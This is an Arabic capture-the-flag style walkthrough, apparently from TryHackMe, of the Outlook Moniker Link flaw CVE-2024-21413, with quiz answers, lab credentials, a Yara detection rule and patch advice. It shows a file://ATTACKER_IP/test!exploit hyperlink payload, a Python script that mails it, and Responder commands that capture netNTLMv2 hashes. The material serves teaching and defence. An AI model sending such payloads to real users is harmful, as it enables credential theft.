
في 13 فبراير 2024، أعلنت مايكروسوفت عن ثغرة أمنية في مايكروسوفت أوتلوك تؤدي إلى تنفيذ تعليمات برمجية عن بعد (RCE) وتسريب بيانات الاعتماد مع تعريف CVE رقم CVE-2024-21413 (Moniker Link). يُنسب الفضل في اكتشاف الثغرة إلى Haifei Li من Check Point Research. تتجاوز الثغرة آليات الأمان في أوتلوك عند معالجة نوع معين من الروابط التشعبية.
في 13 فبراير 2024، أعلنت مايكروسوفت عن ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) وتسريب بيانات اعتماد في Outlook، تم تعيينها تحت CVE-2024-21413 (رابط Moniker). يُنسب اكتشاف الثغرة إلى Haifei Li من Check Point Research.
تتجاوز الثغرة آليات الحماية في Outlook عند التعامل مع نوع معين من الروابط التشعبية يُعرف باسم "رابط Moniker". يمكن للمهاجم استغلال ذلك عن طريق إرسال بريد إلكتروني يحتوي على رابط Moniker ضار إلى الضحية، مما يؤدي إلى إرسال Outlook لبيانات اعتماد NTLM الخاصة بالمستخدم إلى المهاجم بمجرد النقر على الرابط التشعبي.
تم تقديم تفاصيل تتعلق بتقييم الثغرة في الجدول أدناه:
CVSS الوصف تاريخ النشر 13 فبراير 2024 مقال MS https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 التأثير تنفيذ التعليمات البرمجية عن بُعد وتسريب بيانات الاعتماد الخطورة حرجة تعقيد الهجوم منخفض التقييم 9.8
من المعروف أن الثغرة تؤثر على إصدارات Office التالية:
الإصدار الإصدار Microsoft Office LTSC 2021 متأثر من 19.0.0 Microsoft 365 Apps for Enterprise متأثر من 16.0.1 Microsoft Office 2019 متأثر من 16.0.1 Microsoft Office 2016 متأثر من 16.0.0 قبل 16.0.5435.1001
لاحظ أنك ستحتاج إلى كل من AttackBox والجهاز المعرض للخطر المرتبط بهذه المهمة. لنشر الجهاز الافتراضي المرفق، اضغط على زر "بدء تشغيل الجهاز" الأخضر أدناه.
اسم المستخدم tryhackme كلمة المرور Kkh3gv439dnq!
ما هو تقييم "الخطورة" الذي تم تعيينه لـ CVE؟ > الإجابة : حرجة
يمكن لـ Outlook عرض رسائل البريد الإلكتروني بتنسيق HTML. قد تلاحظ استخدام هذا في نشراتك الإخبارية المفضلة. بالإضافة إلى ذلك، يمكن لـ Outlook تحليل الروابط التشعبية مثل HTTP و HTTPS. ومع ذلك، يمكنه أيضًا فتح عناوين URL تحدد تطبيقات تُعرف باسم "روابط Moniker". عادةً، سيعرض Outlook تحذيرًا أمنيًا عند تشغيل تطبيقات خارجية.
يتم تشغيل "العرض المحمي" لـ Outlook عند تشغيل تطبيق خارجي
هذه النافذة المنبثقة هي نتيجة "العرض المحمي" في Outlook. يفتح "العرض المحمي" رسائل البريد الإلكتروني التي تحتوي على مرفقات وروابط تشعبية ومحتوى مشابه في وضع القراءة فقط، مما يمنع أشياء مثل الماكرو (خاصة من خارج المؤسسة).
باستخدام رابط Moniker file:// في الرابط التشعبي الخاص بنا، يمكننا توجيه Outlook لمحاولة الوصول إلى ملف، مثل ملف على مشاركة شبكة (<a href="file://ATTACKER_IP/test">انقر هنا</a>). يتم استخدام بروتوكول SMB، والذي يتضمن استخدام بيانات الاعتماد المحلية للمصادقة. ومع ذلك، يكتشف "العرض المحمي" في Outlook هذه المحاولة ويمنعها.
تكمن الثغرة هنا في تعديل الرابط التشعبي الخاص بنا ليشمل الحرف الخاص ! وبعض النصوص في رابط Moniker الخاص بنا مما يؤدي إلى تجاوز "العرض المحمي" في Outlook. على سبيل المثال: <a href="file://ATTACKER_IP/test!exploit">انقر هنا</a>.
يمكننا، كمهاجمين، توفير رابط Moniker من هذا النوع للهجوم. لاحظ أن المشاركة لا تحتاج إلى أن تكون موجودة على الجهاز البعيد، حيث سيتم محاولة المصادقة بغض النظر، مما يؤدي إلى إرسال تجزئة netNTLMv2 الخاصة بنظام Windows للضحية إلى المهاجم.
تنفيذ التعليمات البرمجية عن بُعد (RCE) ممكن لأن روابط Moniker تستخدم نموذج كائن المكون (COM) على نظام Windows. ومع ذلك، شرح هذا خارج نطاق هذه الغرفة حاليًا، حيث لا يوجد إثبات مفهوم منشور لتحقيق RCE عبر هذه CVE المعينة.
ما نوع رابط Moniker الذي نستخدمه في الرابط التشعبي؟ > الإجابة : file:// ما هو الحرف الخاص المستخدم لتجاوز "العرض المحمي" في Outlook؟ > الإجابة : !
لهذا الهجوم، سنرسل إلى ضحيتنا رابط Moniker مشابهًا لذلك المقدم في المهمة السابقة. الهدف، كمهاجم، هو إنشاء بريد إلكتروني للضحية يحتوي على رابط Moniker يتجاوز "العرض المحمي" في Outlook، حيث سيحاول عميل الضحية تحميل ملف من جهازنا المهاجم، مما يؤدي إلى التقاط تجزئة netNTLMv2 للضحية.
ولكن أولاً، دعنا نستعرض إثبات المفهوم (PoC) الذي أنشأته (وهو متاح أيضًا على GitHub).
''' المؤلف: CMNatic | https://github.com/cmnatic الإصدار: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # استبدل بعنوان بريدك الإلكتروني المرسل receiver_email = '[email protected]' # استبدل بعنوان البريد الإلكتروني للمستلم password = input("أدخل كلمة مرور البريد الإلكتروني للمهاجم: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # تحويل سلسلة HTML إلى بايتات وإرفاقها بكائن الرسالة msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n تم تسليم البريد الإلكتروني") except Exception as error: print(error) finally: server.quit()
إثبات المفهوم (PoC):
دعنا نستخدم Responder لإنشاء مستمع SMB على جهازنا المهاجم. بالنسبة لـ AttackBox الخاص بـ THM، ستكون الواجهة هي -I ens5. سيختلف اسم الواجهة إذا كنت تستخدم جهازك الخاص (مثل Kali). إذا كنت ترغب في بعض الواجبات المنزلية، يمكن أيضًا استخدام خادم Impacket.
بدء Responder على AttackBox الخاص بنا
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
-- للإيجاز تم قطع --
[+] الاستماع للأحداث...
دعنا نفتح الجهاز المعرض للخطر بالضغط على جزء "CVE-2024-21413" في عرض الشاشة المقسمة.
افتح Outlook بالنقر فوق الاختصار "Outlook" على سطح المكتب. عند فتح Outlook، انقر فوق "لا أريد تسجيل الدخول أو إنشاء حساب" في النافذة المنبثقة.
قم بإلغاء النافذة المنبثقة الثانية بالنقر فوق "X" في أعلى يمين النافذة المنبثقة (قد تحتاج إلى سحب النافذة قليلاً إلى اليسار، اعتمادًا على دقة شاشتك).
عند الانتهاء، سترى واجهة Outlook. بالنسبة لهذه الغرفة، تم إعداد صندوق بريد الضحية بالفعل في Outlook لك.
ارجع إلى AttackBox الخاص بك. سنقوم بنسخ ولصق إثبات المفهوم أعلاه على AttackBox.
لهذا، سننشئ ملفًا جديدًا على AttackBox. nano exploit.py واستخدم درج الانزلاق في عرض الشاشة المقسمة. راجع GIF أدناه لرؤية هذا أثناء العمل.
https://assets.tryhackme.com/additional/CVE-2024-21410/abcopypaste.gif
سنحتاج إلى القيام ببعض الإعداد الأولي على AttackBox الخاص بنا قبل تشغيل برنامج Python النصي:
عند الانتهاء، يمكننا تشغيل الاستغلال. عندما يُطلب منك كلمة مرور البريد الإلكتروني للمهاجم، أدخل "attacker".
تشغيل exploit.py
root@attackbox:# python3 exploit.py أدخل كلمة مرور البريد الإلكتروني للمهاجم: attacker
سيقوم برنامج Python النصي بطباعة "تم تسليم البريد الإلكتروني" عند إرسال البريد الإلكتروني. إذا اشتكى البرنامج النصي من فشل المصادقة، فتأكد من استبدال القيم بشكل صحيح في exploit.py. الآن، دعنا نعود إلى الجهاز المعرض للخطر ونتحقق من البريد الإلكتروني الجديد:
انقر على الرابط التشعبي "انقر هنا" وعد إلى جلسة "Responder" الطرفية على AttackBox:
نجاح! تم التقاط تجزئة netNTLMv2 للضحية على AttackBox الخاص بنا.
ما هو اسم التطبيق الذي نستخدمه على AttackBox لالتقاط تجزئة المستخدم؟ > الإجابة : responder ما هو نوع التجزئة التي تم التقاطها بمجرد النقر على الرابط التشعبي في البريد الإلكتروني؟ > الإجابة : netNTLMv2
تم إنشاء قاعدة Yara بواسطة Florian Roth للكشف عن رسائل البريد الإلكتروني التي تحتوي على عنصر file:\ في رابط Moniker.
CVE
-2024-21413 قاعدة Yara التي أنشأها Florian Roth
user@yourmachine:# cat cve-2024-21413.yar
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "يكتشف رسائل البريد الإلكتروني التي تحتوي على علامات تشير إلى طريقة لاستغلال CVE-2024-21413 في Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
بالإضافة إلى ذلك، يمكن رؤية طلب SMB من الضحية إلى العميل في التقاط حزمة مع تجزئة netNTLMv2 مبتورة.
انقر هنا للمتابعة إلى المهمة التالية! > الإجابة : لا إجابة
قامت مايكروسوفت بتضمين تصحيحات لحل هذه الثغرة في إصدار "Patch Tuesday" لشهر فبراير. يمكنك رؤية قائمة بمقالات KB حسب إصدار Office هنا. يُوصى بشدة بتحديث Office من خلال Windows Update أو كتالوج تحديثات Microsoft.
بالإضافة إلى ذلك، في الوقت الحالي، هو تذكير في الوقت المناسب بممارسة ممارسات الأمن السيبراني العامة الآمنة. على سبيل المثال، تذكير المستخدمين بما يلي:
انقر هنا للمتابعة إلى المهمة التالية. > الإجابة : لا إجابة